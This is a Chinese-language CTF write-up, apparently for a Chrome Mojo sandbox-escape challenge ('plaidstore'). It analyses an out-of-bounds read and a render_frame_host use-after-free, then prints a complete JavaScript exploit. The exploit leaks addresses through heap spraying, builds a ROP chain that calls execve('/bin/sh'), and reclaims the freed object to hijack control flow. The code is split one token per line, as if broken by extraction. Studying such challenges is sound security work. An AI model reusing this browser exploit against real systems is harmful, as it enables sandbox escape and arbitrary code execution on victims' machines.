从Dockerfile
的内容知道,启动chrome
的命令如下所示,参数$1
是要访问的链接。--headless
表示不启动图形界面对页面进行解析;--enable-blink-features
表示启用一个或多个启用Blink
内核运行时的功能,在这里启用了MojoJS
即mojo
的js api
。
直接去看plaidstore.diff
来尝试寻找漏洞,它添加了一个新的interface
。先看plaidstore.mojom
定义的interface
,interface
中定义了StoreData
以及GetData
两个函数。
来看interface
在browser
端的实现,如下所示。两个函数还没有具体实现,可以看到有两个私有成员变量render_frame_host_
以及data_store_
。
GetData
以及StoreData
函数的实现如下所示。StoreDate
会将data
存入到data_store_[key]
当中,GetData
函数会尝试在data_store_
中找到对应的key
所存储的值,并拷贝出count
大小的数据。
一个render
进程里的RenderFrame
,对应到browser
进程里的一个RenderFrameHost
。打开一个新的tab
,或者创建一个iframe
的时候,都对应创建出一个新的RenderFrameHost
对象。
可以看到在初始化的时候会将render_frame_host
指针保存在render_frame_host_
中。但是理论上来说,interface
是不应该直接存储render_frame_host
指针的,如果需要使用,也应该使用RenderFrameHost::FromID(int render_process_id, int render_frame_id)
的方式来获取相应的对象。
同时接口的实现还调用MakeSelfOwnedReceiver
函数将把Mojo
管道的一端 Receiver
和当前PlaidStoreImpl
实例绑定,只有当Mojo
管道关闭或者发生异常, Receiver
端与当前实例解绑,此时的PlaidStoreImpl
相关内存数据才会释放。
上面的代码也就意味着当mojo pipe
不关闭时,PlaidStoreImpl
对象不会释放,也就意味着仍然可以使用render_frame_host_
指针。然而PlaidStoreImpl
对象并没有与WebContent
绑定,我们关闭tab
或者销毁iframe
时,PlaidStoreImpl
对象是不会被释放的。但是在关闭tab
或者销毁iframe
时,会释放对应的render_frame_host
对象,此时我们仍然可以使用PlaidStoreImpl
对象中的render_frame_host_
去使用该内存,导致了uaf
漏洞的形成。后续若仍然调用调用PlaidStoreImpl
接口中的GetData
或StoreData
函数,会调用render_frame_host_->IsRenderFrameLive()
代码,就触发了uaf
漏洞。
调试浏览器时,最好在本地开一个web服务,而不是让浏览器直接访问本地html文件,因为这其中访问的协议是不一样的。浏览器访问web服务的协议是http
,而访问本地文件的协议是file
。
头两句是要引入的头文件,blink.mojom.PlaidStore.getRemote
则是对remote
端进行绑定。使用await
的理由是因为是从render
进程发送给browser
进程,需要等待,所以要使用await
,不然可能会获取不到数据。
因为data_store_
指针存储在PlaidStoreImpl
对象当中,所以先看PlaidStoreImpl
的创建以及调用StoreData
函数之后的内存布局。
可以看到我们能够越界读取的数据0x0000284976881e10
所属的地址空间和PlaidStoreImpl
对象所属的地址空间是同一片区域,这样就使得如果在存储的数据后部署多个PlaidStoreImpl
对象,那么就可以通过越界读取PlaidStoreImpl
对象中的数据。
因为PlaidStoreImpl
对象中有虚表指针以及render_frame_host_
指针,我们就可以越界读把这些数据读出来,最终构造出来的代码如下。要提一个技巧就是搜寻地址是虚表指针因页对齐低三位地址以及高位都是确定的,通过这个方法可以大概率找到对象。
uaf
漏洞利用则主要是通过在代码中构建frame
,并将frame
中的PlaidStoreImpl
对象返回,然后关闭frame
释放render_frame_host
指针,最后使用PlaidStoreImpl
对象来使用render_frame_host_
来实现uaf
。
先要搞清楚render_frame_host
对象的大小,该对象由RenderFrameHostFactory
类实现,可以通过下面的断点来看该对象的大小,可以看到对象大小为0xc28
。
理论上最终storeData
函数在执行render_frame_host_->IsRenderFrameLive()
的时候,虚表指针已经被覆盖成了0x414141410x41414141
会导致访存错误。
实际运行结果如下,可以看到会尝试调用call [rax+0x160]
,是代码render_frame_host_->IsRenderFrameLive()
的实现,我们所申请的内存成功控制了对象,并且数据可控rip
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
function AddFrame()
{
let frame
=
document.createElement(
"iframe"
);
frame.srcdoc
=
`<script src
=
"mojo/public/js/mojo_bindings_lite.js"
><
/
script>
<script src
=
"third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"
><
/
script>
<script>
async function Leak()
{
/
/
oob read to leak chrome base addr
and
render_frame_host pointer
let plaidStorePtrList
=
[];
for
(let i
=
0
; i<
0x200
; i
+
+
) {
let p
=
blink.mojom.PlaidStore.getRemote(true);
await(p.storeData(
"xxxxx"
, new Uint8Array(
0x28
).fill(
0x41
)));
plaidStorePtrList.push(p);
}
let p
=
plaidStorePtrList[
0
];
let leakData
=
(await p.getData(
"xxxxx"
,
0x2000
)).data
let u8
=
new Uint8Array(leakData)
let u64
=
new BigInt64Array(u8.
buffer
);
let vtableAddr
=
0
;
let renderFrameHostAddr
=
0
;
for
(let i
=
0x28
/
8
; i<u64.length; i
+
+
) {
let highAddr
=
u64[i]&BigInt(
0xf00000000000
)
let lowAddr
=
u64[i]&BigInt(
0x000000000fff
)
if
((highAddr
=
=
BigInt(
0x500000000000
)) && lowAddr
=
=
BigInt(
0x7a0
)) {
vtableAddr
=
u64[i];
renderFrameHostAddr
=
u64[i
+
1
];
break
;
}
}
if
(vtableAddr
=
=
0
) {
window.chromeBaseAddr
=
0
;
return
;
}
chromeBaseAddr
=
vtableAddr
-
BigInt(
0x9fb67a0
);
window.chromeBaseAddr
=
chromeBaseAddr;
window.renderFrameHostAddr
=
renderFrameHostAddr;
window.plaidStorePtrList
=
plaidStorePtrList;
return
;
}
Leak();
<
/
script>
`;
document.body.appendChild(frame);
return
frame;
}
async function pwn()
{
let frame
=
AddFrame();
frame.contentWindow.addEventListener(
"DOMContentLoaded"
, async ()
=
> {
for
(;;) {
/
/
step
1
trigger oob read to get address
await frame.contentWindow.Leak();
if
(frame.contentWindow.chromeBaseAddr !
=
0
) {
console.log(
"[+] leak chrome base addr: "
+
hex
(frame.contentWindow.chromeBaseAddr));
console.log(
"[+] leak reander frame host addr: "
+
hex
(frame.contentWindow.renderFrameHostAddr));
break
;
}
}
/
/
step
2
prepare the rop chain
chromeBaseAddr
=
frame.contentWindow.chromeBaseAddr;
renderFrameHostAddr
=
frame.contentWindow.renderFrameHostAddr;
let xchgRaxRsp
=
chromeBaseAddr
+
0x000000000880dee8n
/
/
: xchg rax, rsp ; clc ; pop rbp ; ret
let popRdi
=
chromeBaseAddr
+
0x0000000002e4630fn
/
/
: pop rdi ; ret
let popRsi
=
chromeBaseAddr
+
0x0000000002d278d2n
/
/
: pop rsi ; ret
let popRdx
=
chromeBaseAddr
+
0x0000000002e9998en
/
/
: pop rdx ; ret
let popRax
=
chromeBaseAddr
+
0x0000000002e651ddn
/
/
: pop rax ; ret
/
/
let syscall
=
chromeBaseAddr
+
0x0000000002ef528dn
/
/
: syscall
let execve
=
chromeBaseAddr
+
0x9efca30n
/
/
: execve
/
/
step
3
reserve the child plaidStorePtrList to trigger uaf
let plaidStorePtrList
=
frame.contentWindow.plaidStorePtrList;
/
/
step
4
prepare the rop chain memory
let binshAddr
=
renderFrameHostAddr
+
0x50n
;
let renderFrameHostSize
=
0xc28
frameBuf
=
new ArrayBuffer(renderFrameHostSize);
let frameData8
=
new Uint8Array(frameBuf).fill(
0x41
);
frameDataView
=
new DataView(frameBuf);
frameDataView.setBigInt64(
0x160
,xchgRaxRsp,true);
frameDataView.setBigInt64(
0
,renderFrameHostAddr,true);
frameDataView.setBigInt64(
0x8
,popRdi,true);
frameDataView.setBigInt64(
0x10
,binshAddr,true);
frameDataView.setBigInt64(
0x18
,popRsi,true);
frameDataView.setBigInt64(
0x20
,
0n
,true);
frameDataView.setBigInt64(
0x28
,popRdx,true);
frameDataView.setBigInt64(
0x30
,
0n
,true);
frameDataView.setBigInt64(
0x38
,popRax,true);
frameDataView.setBigInt64(
0x40
,
59n
,true);
frameDataView.setBigInt64(
0x48
,execve,true);
frameDataView.setBigInt64(
0x50
,
0x68732f6e69622fn
,true);
/
/
/
bin
/
sh
/
/
frameDataView.setBigInt64(
0x50
,
0x6f6e672f6e69622fn
,true);
/
/
/
bin
/
gno
/
/
frameDataView.setBigInt64(
0x58
,
0x75636c61632d656dn
,true);
/
/
me
-
calcu
/
/
frameDataView.setBigInt64(
0x60
,
0x726f74616cn
,true);
/
/
lator\x00
/
/
step
5
free the renderFrameHost memory
frame.remove();
/
/
step
6
malloc the freed memory
and
trigger uaf
let bins
=
[];
for
(var i
=
0
; i<
0x1000
; i
+
+
){
plaidStorePtrList[
0
].storeData(
"crash"
, frameData8);
}
})
}
pwn();
第一次调mojo
的洞,掌握了沙箱逃逸的大致原理,有了一个略模糊的概念,感觉还蛮有意思,因为对mojo
的机制没有太搞明白,所以这里就不讲基础了,只对漏洞进行利用,后面搞得更清楚以后再进行分析。